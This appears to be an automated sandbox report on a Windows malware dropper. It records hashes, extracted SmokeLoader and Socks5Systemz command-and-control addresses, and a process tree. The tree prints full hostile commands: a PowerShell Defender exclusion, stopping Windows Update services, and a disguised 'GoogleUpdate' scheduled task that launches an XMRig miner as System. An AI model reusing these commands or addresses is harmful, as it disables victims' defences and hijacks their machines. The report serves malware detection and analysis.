Analysis
-
max time kernel
146s -
max time network
144s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
02-04-2024 10:16
Static task
static1
Behavioral task
behavioral1
Sample
12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe
Resource
win10v2004-20240226-en
General
-
Target
12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe
-
Size
7.3MB
-
MD5
91fcc906d24350286fc38d756bdacbfc
-
SHA1
b96e73c04be4d15ed18e2e7811b951554cf57e7b
-
SHA256
12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a
-
SHA512
b6cbca675648d967620e4d133345445a070896d2adebd44f58d9ad7f012db5bac0223d2304e86818bc9096e6c72087241c3917efed273d44809a7a1276787b3e
-
SSDEEP
196608:tH/rieS1u4+zl+k7GJWhlTC7BUQ4qye9tkvQ2y3w3W9uWD:tDiFk4+zhLOBB4qT9tk6EW9
Malware Config
Extracted
smokeloader
up3
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
Extracted
socks5systemz
51.159.66.125
217.23.6.51
151.80.38.159
217.23.9.168
37.187.122.227
http://datasheet.fun/manual/avon_3_2022.pdf?%.8x
-
rc4_key
heyfg645fdhwi
Signatures
-
Detect Socks5Systemz Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/772-237-0x0000000000970000-0x00000000009B9000-memory.dmp family_socks5systemz -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socks5Systemz
Socks5Systemz is a botnet written in C++.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
Processes:
latestX.exeupdater.exedescription pid process target process PID 2504 created 1172 2504 latestX.exe Explorer.EXE PID 2504 created 1172 2504 latestX.exe Explorer.EXE PID 2504 created 1172 2504 latestX.exe Explorer.EXE PID 2504 created 1172 2504 latestX.exe Explorer.EXE PID 2504 created 1172 2504 latestX.exe Explorer.EXE PID 1944 created 1172 1944 updater.exe Explorer.EXE PID 1944 created 1172 1944 updater.exe Explorer.EXE PID 1944 created 1172 1944 updater.exe Explorer.EXE PID 1944 created 1172 1944 updater.exe Explorer.EXE PID 1944 created 1172 1944 updater.exe Explorer.EXE PID 1944 created 1172 1944 updater.exe Explorer.EXE -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1944-227-0x000000013FF70000-0x0000000140511000-memory.dmp xmrig behavioral1/memory/1964-235-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
updater.exelatestX.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts updater.exe File created C:\Windows\System32\drivers\etc\hosts latestX.exe -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 12 IoCs
Processes:
toolspub2.exekos2.exelatestX.exeset16.exetoolspub2.exeK.exeis-R46IU.tmpMyBurn.exeMyBurn.exe978E.exe9C02.exeupdater.exepid process 2228 toolspub2.exe 2664 kos2.exe 2504 latestX.exe 2812 set16.exe 2984 toolspub2.exe 2464 K.exe 3024 is-R46IU.tmp 1568 MyBurn.exe 772 MyBurn.exe 2368 978E.exe 2588 9C02.exe 1944 updater.exe -
Loads dropped DLL 22 IoCs
Processes:
12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exekos2.exetoolspub2.exeset16.exeis-R46IU.tmpMyBurn.exeMyBurn.exetaskeng.exepid process 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe 2664 kos2.exe 2228 toolspub2.exe 2812 set16.exe 2812 set16.exe 2812 set16.exe 2664 kos2.exe 2812 set16.exe 3024 is-R46IU.tmp 3024 is-R46IU.tmp 3024 is-R46IU.tmp 3024 is-R46IU.tmp 3024 is-R46IU.tmp 1568 MyBurn.exe 1568 MyBurn.exe 3024 is-R46IU.tmp 772 MyBurn.exe 772 MyBurn.exe 1432 taskeng.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Drops file in System32 directory 4 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
toolspub2.exeupdater.exedescription pid process target process PID 2228 set thread context of 2984 2228 toolspub2.exe toolspub2.exe PID 1944 set thread context of 1860 1944 updater.exe conhost.exe PID 1944 set thread context of 1964 1944 updater.exe explorer.exe -
Drops file in Program Files directory 14 IoCs
Processes:
is-R46IU.tmplatestX.exeupdater.exedescription ioc process File created C:\Program Files (x86)\MyBurn\unins000.dat is-R46IU.tmp File created C:\Program Files (x86)\MyBurn\is-JKGVB.tmp is-R46IU.tmp File created C:\Program Files (x86)\MyBurn\is-PIBH3.tmp is-R46IU.tmp File created C:\Program Files (x86)\MyBurn\is-T4IFT.tmp is-R46IU.tmp File created C:\Program Files (x86)\MyBurn\is-Q9J6S.tmp is-R46IU.tmp File opened for modification C:\Program Files (x86)\MyBurn\unins000.dat is-R46IU.tmp File created C:\Program Files\Google\Chrome\updater.exe latestX.exe File created C:\Program Files (x86)\MyBurn\is-4P1ME.tmp is-R46IU.tmp File created C:\Program Files (x86)\MyBurn\is-8QV46.tmp is-R46IU.tmp File created C:\Program Files (x86)\MyBurn\is-KFQ4K.tmp is-R46IU.tmp File created C:\Program Files (x86)\MyBurn\Sounds\is-SOHAG.tmp is-R46IU.tmp File created C:\Program Files (x86)\MyBurn\Sounds\is-QDJU6.tmp is-R46IU.tmp File opened for modification C:\Program Files (x86)\MyBurn\MyBurn.exe is-R46IU.tmp File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 2312 sc.exe 2596 sc.exe 1692 sc.exe 1952 sc.exe 2960 sc.exe 2612 sc.exe 1468 sc.exe 1008 sc.exe 1284 sc.exe 1336 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
toolspub2.exedescription ioc process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2136 schtasks.exe 1884 schtasks.exe -
Modifies data under HKEY_USERS 6 IoCs
Processes:
explorer.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs explorer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0350422e784da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT explorer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates explorer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs explorer.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
toolspub2.exeExplorer.EXEpid process 2984 toolspub2.exe 2984 toolspub2.exe 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE 1172 Explorer.EXE -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
toolspub2.exepid process 2984 toolspub2.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
K.exeExplorer.EXEpowershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exeupdater.exeexplorer.exedescription pid process Token: SeDebugPrivilege 2464 K.exe Token: SeShutdownPrivilege 1172 Explorer.EXE Token: SeShutdownPrivilege 1172 Explorer.EXE Token: SeDebugPrivilege 1116 powershell.exe Token: SeShutdownPrivilege 884 powercfg.exe Token: SeShutdownPrivilege 1660 powercfg.exe Token: SeShutdownPrivilege 1472 powercfg.exe Token: SeDebugPrivilege 2024 powershell.exe Token: SeShutdownPrivilege 1648 powercfg.exe Token: SeDebugPrivilege 2384 powershell.exe Token: SeShutdownPrivilege 2444 powercfg.exe Token: SeShutdownPrivilege 356 powercfg.exe Token: SeDebugPrivilege 2356 powershell.exe Token: SeShutdownPrivilege 1876 powercfg.exe Token: SeShutdownPrivilege 112 powercfg.exe Token: SeDebugPrivilege 1944 updater.exe Token: SeLockMemoryPrivilege 1964 explorer.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exetoolspub2.exekos2.exeset16.exeis-R46IU.tmpnet.exeK.exedescription pid process target process PID 2176 wrote to memory of 2228 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe toolspub2.exe PID 2176 wrote to memory of 2228 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe toolspub2.exe PID 2176 wrote to memory of 2228 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe toolspub2.exe PID 2176 wrote to memory of 2228 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe toolspub2.exe PID 2176 wrote to memory of 2664 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe kos2.exe PID 2176 wrote to memory of 2664 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe kos2.exe PID 2176 wrote to memory of 2664 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe kos2.exe PID 2176 wrote to memory of 2664 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe kos2.exe PID 2176 wrote to memory of 2504 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe latestX.exe PID 2176 wrote to memory of 2504 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe latestX.exe PID 2176 wrote to memory of 2504 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe latestX.exe PID 2176 wrote to memory of 2504 2176 12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe latestX.exe PID 2228 wrote to memory of 2984 2228 toolspub2.exe toolspub2.exe PID 2228 wrote to memory of 2984 2228 toolspub2.exe toolspub2.exe PID 2228 wrote to memory of 2984 2228 toolspub2.exe toolspub2.exe PID 2228 wrote to memory of 2984 2228 toolspub2.exe toolspub2.exe PID 2228 wrote to memory of 2984 2228 toolspub2.exe toolspub2.exe PID 2228 wrote to memory of 2984 2228 toolspub2.exe toolspub2.exe PID 2664 wrote to memory of 2812 2664 kos2.exe set16.exe PID 2664 wrote to memory of 2812 2664 kos2.exe set16.exe PID 2664 wrote to memory of 2812 2664 kos2.exe set16.exe PID 2664 wrote to memory of 2812 2664 kos2.exe set16.exe PID 2664 wrote to memory of 2812 2664 kos2.exe set16.exe PID 2664 wrote to memory of 2812 2664 kos2.exe set16.exe PID 2664 wrote to memory of 2812 2664 kos2.exe set16.exe PID 2228 wrote to memory of 2984 2228 toolspub2.exe toolspub2.exe PID 2664 wrote to memory of 2464 2664 kos2.exe K.exe PID 2664 wrote to memory of 2464 2664 kos2.exe K.exe PID 2664 wrote to memory of 2464 2664 kos2.exe K.exe PID 2664 wrote to memory of 2464 2664 kos2.exe K.exe PID 2812 wrote to memory of 3024 2812 set16.exe is-R46IU.tmp PID 2812 wrote to memory of 3024 2812 set16.exe is-R46IU.tmp PID 2812 wrote to memory of 3024 2812 set16.exe is-R46IU.tmp PID 2812 wrote to memory of 3024 2812 set16.exe is-R46IU.tmp PID 2812 wrote to memory of 3024 2812 set16.exe is-R46IU.tmp PID 2812 wrote to memory of 3024 2812 set16.exe is-R46IU.tmp PID 2812 wrote to memory of 3024 2812 set16.exe is-R46IU.tmp PID 3024 wrote to memory of 112 3024 is-R46IU.tmp net.exe PID 3024 wrote to memory of 112 3024 is-R46IU.tmp net.exe PID 3024 wrote to memory of 112 3024 is-R46IU.tmp net.exe PID 3024 wrote to memory of 112 3024 is-R46IU.tmp net.exe PID 3024 wrote to memory of 112 3024 is-R46IU.tmp net.exe PID 3024 wrote to memory of 112 3024 is-R46IU.tmp net.exe PID 3024 wrote to memory of 112 3024 is-R46IU.tmp net.exe PID 3024 wrote to memory of 1568 3024 is-R46IU.tmp MyBurn.exe PID 3024 wrote to memory of 1568 3024 is-R46IU.tmp MyBurn.exe PID 3024 wrote to memory of 1568 3024 is-R46IU.tmp MyBurn.exe PID 3024 wrote to memory of 1568 3024 is-R46IU.tmp MyBurn.exe PID 3024 wrote to memory of 1568 3024 is-R46IU.tmp MyBurn.exe PID 3024 wrote to memory of 1568 3024 is-R46IU.tmp MyBurn.exe PID 3024 wrote to memory of 1568 3024 is-R46IU.tmp MyBurn.exe PID 112 wrote to memory of 1892 112 net.exe net1.exe PID 112 wrote to memory of 1892 112 net.exe net1.exe PID 112 wrote to memory of 1892 112 net.exe net1.exe PID 112 wrote to memory of 1892 112 net.exe net1.exe PID 112 wrote to memory of 1892 112 net.exe net1.exe PID 112 wrote to memory of 1892 112 net.exe net1.exe PID 112 wrote to memory of 1892 112 net.exe net1.exe PID 2464 wrote to memory of 1592 2464 K.exe WerFault.exe PID 2464 wrote to memory of 1592 2464 K.exe WerFault.exe PID 2464 wrote to memory of 1592 2464 K.exe WerFault.exe PID 3024 wrote to memory of 488 3024 is-R46IU.tmp schtasks.exe PID 3024 wrote to memory of 488 3024 is-R46IU.tmp schtasks.exe PID 3024 wrote to memory of 488 3024 is-R46IU.tmp schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1172 -
C:\Users\Admin\AppData\Local\Temp\12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe"C:\Users\Admin\AppData\Local\Temp\12a5b844e946f8c8b4b4bb3301664f7a662a1341ea9171359d1c4fc25bc11b6a.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2984 -
C:\Users\Admin\AppData\Local\Temp\kos2.exe"C:\Users\Admin\AppData\Local\Temp\kos2.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Users\Admin\AppData\Local\Temp\set16.exe"C:\Users\Admin\AppData\Local\Temp\set16.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Users\Admin\AppData\Local\Temp\is-GA9EI.tmp\is-R46IU.tmp"C:\Users\Admin\AppData\Local\Temp\is-GA9EI.tmp\is-R46IU.tmp" /SL4 $8010A "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1281875 522245⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" helpmsg 206⤵
- Suspicious use of WriteProcessMemory
PID:112 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 helpmsg 207⤵PID:1892
-
C:\Program Files (x86)\MyBurn\MyBurn.exe"C:\Program Files (x86)\MyBurn\MyBurn.exe" -i6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1568 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Query6⤵PID:488
-
C:\Program Files (x86)\MyBurn\MyBurn.exe"C:\Program Files (x86)\MyBurn\MyBurn.exe" -s6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:772 -
C:\Users\Admin\AppData\Local\Temp\K.exe"C:\Users\Admin\AppData\Local\Temp\K.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2464 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2464 -s 17405⤵PID:1592
-
C:\Users\Admin\AppData\Local\Temp\latestX.exe"C:\Users\Admin\AppData\Local\Temp\latestX.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
PID:2504 -
C:\Users\Admin\AppData\Local\Temp\978E.exeC:\Users\Admin\AppData\Local\Temp\978E.exe2⤵
- Executes dropped EXE
PID:2368 -
C:\Users\Admin\AppData\Local\Temp\9C02.exeC:\Users\Admin\AppData\Local\Temp\9C02.exe2⤵
- Executes dropped EXE
PID:2588 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:1116 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵PID:3008
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1008 -
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1692 -
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1952 -
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1336 -
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1284 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵PID:2968
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:884 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1660 -
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1472 -
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1648 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2024 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2136 -
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵PID:2072
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2384 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵PID:1792
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2612 -
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2960 -
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2596 -
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1468 -
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:2312 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵PID:2396
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:2444 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:356 -
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1876 -
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:112 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2356 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1884 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵PID:1860
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1964
-
C:\Windows\system32\taskeng.exetaskeng.exe {067AB9E1-ACB1-41D9-AFF9-900C2D3E69DB} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
PID:1432 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:1944
-
C:\Windows\system32\taskeng.exetaskeng.exe {C1933A5D-3FB0-4735-9875-E42614AC0538} S-1-5-21-1298544033-3225604241-2703760938-1000:IZKCKOTP\Admin:Interactive:[1]1⤵PID:1420
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files (x86)\MyBurn\MyBurn.exeFilesize
2.1MB
MD5f0fd986799e64ba888a8031782181dc7
SHA1df5a8420ebdcb1d036867fbc9c3f9ca143cf587c
SHA256a85af12749a97eeae8f64b767e63780978c859f389139cd153bedb432d1bfb4f
SHA51209d8b0a6e39139c1853b5f05b1f87bbed5f38b51562cd3da8eb87be1125e8b28c2a3409d4977359cf8551a76c045de39c0419ddcef6459d9f87e10a945545233
-
C:\Users\Admin\AppData\Local\Temp\978E.exeFilesize
5.0MB
MD510ef283264e5050eb40f465feabeea60
SHA15c2b60ad7c2089db827532fed6069bdf74b505f8
SHA2566d45d61463e3521aa6d3d31bd7e953d38c6381c0e1b526dcb28c7f2786669eb6
SHA512c4e4080840991a829b05c76a55f6da6bffc9f618c7a1214d4d0b84e6e714d7b0e5646a99a5d92188f71801e6b7269069728f328d3a3b3fda577191372f399080
-
C:\Users\Admin\AppData\Local\Temp\9C02.exeFilesize
385KB
MD5bdbfccc2b71c0d7f9de70aba81597b52
SHA1ebb97f2a7fe51ff607a1d1b7557c995dd1cc275a
SHA256082e8792e48e6ae0b16330f6bde833c42158ba2c9b75fad31ebc3d939f8a0042
SHA512fba755745e82b6acd1e74e15ce9bc729a9b0e85bbb1975959c1b5d7ab1e6859efc715de87c3f4b6ef4bb21a25d9246142e96323cfc5d732ae6007b4690dcd417
-
C:\Users\Admin\AppData\Local\Temp\K.exeFilesize
8KB
MD5ac65407254780025e8a71da7b925c4f3
SHA15c7ae625586c1c00ec9d35caa4f71b020425a6ba
SHA25626cd9cc9a0dd688411a4f0e2fa099b694b88cab6e9ed10827a175f7b5486e42e
SHA51227d87730230d9f594908f904bf298a28e255dced8d515eb0d97e1701078c4405f9f428513c2574d349a7517bd23a3558fb09599a01499ea54590945b981b17ab
